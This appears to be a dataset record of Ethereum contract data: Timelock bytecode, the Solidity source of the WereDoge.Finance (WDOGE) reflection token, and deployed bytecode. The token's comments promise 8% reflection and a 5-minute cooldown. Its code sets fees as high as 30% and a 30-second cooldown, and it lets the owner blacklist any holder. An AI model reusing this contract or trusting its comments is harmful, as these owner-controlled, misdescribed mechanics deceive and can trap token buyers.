ffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461093e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611bcd6038913960400191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156109ca5780820151818401526020810190506109af565b50505050905090810190601f1680156109f75780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b83811015610a30578082015181840152602081019050610a15565b50505050905090810190601f168015610a5d5780820380516001836020036101000a031916815260200191505b50975050505050505050604051602081830303815290604052805190602001209050600360009054906101000a900460ff1615610c0c576004600082815260200190815260200160002060009054906101000a900460ff16610b0a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d815260200180611d20603d913960400191505060405180910390fd5b82610b13611b3c565b1015610b6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526045815260200180611c6f6045913960600191505060405180910390fd5b610b806212750084611b4490919063ffffffff16565b610b88611b3c565b1115610bdf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526033815260200180611c3c6033913960400191505060405180910390fd5b60006004600083815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6060600086511415610c2057849050610cdb565b85805190602001208560405160200180837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260040182805190602001908083835b60208310610ca35780518252602082019150602081019050602083039250610c80565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b600060608973ffffffffffffffffffffffffffffffffffffffff1689846040518082805190602001908083835b60208310610d2b5780518252602082019150602081019050602083039250610d08565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610d8d576040519150601f19603f3d011682016040523d82523d6000602084013e610d92565b606091505b509150915081610ded576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d815260200180611e03603d913960400191505060405180910390fd5b8973ffffffffffffffffffffffffffffffffffffffff16847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610e7a578082015181840152602081019050610e5f565b50505050905090810190601f168015610ea75780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b83811015610ee0578082015181840152602081019050610ec5565b50505050905090810190601f168015610f0d5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a38094505050505095945050505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611d5d6038913960400191505060405180910390fd5b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c60405160405180910390a2565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611189576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526036815260200180611dcd6036913960400191505060405180910390fd5b6111a5600254611197611b3c565b611b4490919063ffffffff16565b8210156111fd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526049815260200180611e406049913960600191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561128957808201518184015260208101905061126e565b50505050905090810190601f1680156112b65780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156112ef5780820151818401526020810190506112d4565b50505050905090810190601f16801561131c5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016004600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508673ffffffffffffffffffffffffffffffffffffffff16817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156113f75780820151818401526020810190506113dc565b50505050905090810190601f1680156114245780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b8381101561145d578082015181840152602081019050611442565b50505050905090810190601f16801561148a5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a38091505095945050505050565b600360009054906101000a900460ff1615611546573073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611541576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611d956038913960400191505060405180910390fd5b611562565b6001600360006101000a81548160ff0219169083151502179055505b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75660405160405180910390a250565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116b0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526037815260200180611c056037913960400191505060405180910390fd5b60008585858585604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561173c578082015181840152602081019050611721565b50505050905090810190601f1680156117695780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156117a2578082015181840152602081019050611787565b50505050905090810190601f1680156117cf5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006004600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508573ffffffffffffffffffffffffffffffffffffffff16817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156118aa57808201518184015260208101905061188f565b50505050905090810190601f1680156118d75780820380516001836020036101000a031916815260200191505b50838103825285818151815260200191508051906020019080838360005b838110156119105780820151818401526020810190506118f5565b50505050905090810190601f16801561193d5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b600360009054906101000a900460ff1681565b62278d0081565b61afc881565b6212750081565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526031815260200180611e896031913960400191505060405180910390fd5b61afc8811015611a62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526034815260200180611cb46034913960400191505060405180910390fd5b62278d00811115611abe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526038815260200180611ce86038913960400191505060405180910390fd5b806002819055506002547f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c60405160405180910390a250565b60046020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600042905090565b600080828401905083811015611bc2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e54696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e54696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e54696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e54696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e54696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e54696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d2054696d656c6f636b2ea265627a7a72315820f36873c2bcfd8a3f1c8711f81ece6a410babb59adb0826ffe74f42a4c9416d9d64736f6c63430005110032
|
{"success": true, "error": null, "results": {}}
| 4,251 |
0x27e22ef7263f067d2691f59185ff9c13af70b08a
|
/**
*Submitted for verification at Etherscan.io on 2021-09-11
*/
//NFT Airdrop for first 50 Holders!
//First Blockchain based Game for PlayStation with NFT integration!
//Fair Launch
//100% in LP
//8% Reflection
//No Team Token
//40-50% slipp. to buy
// Anti bot
//Cooldown for 5 min!
//https://weredoge.finance/
//https://twitter.com/WerewolfVGAME
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract WereDogeFinance is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "WereDoge.Finance";
string private constant _symbol = "WDOGE";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 10;
_teamFee = 20;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 50000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280601081526020017f57657265446f67652e46696e616e636500000000000000000000000000000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff0219169083151502179055506802b5e3af16b18800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f57444f4745000000000000000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b6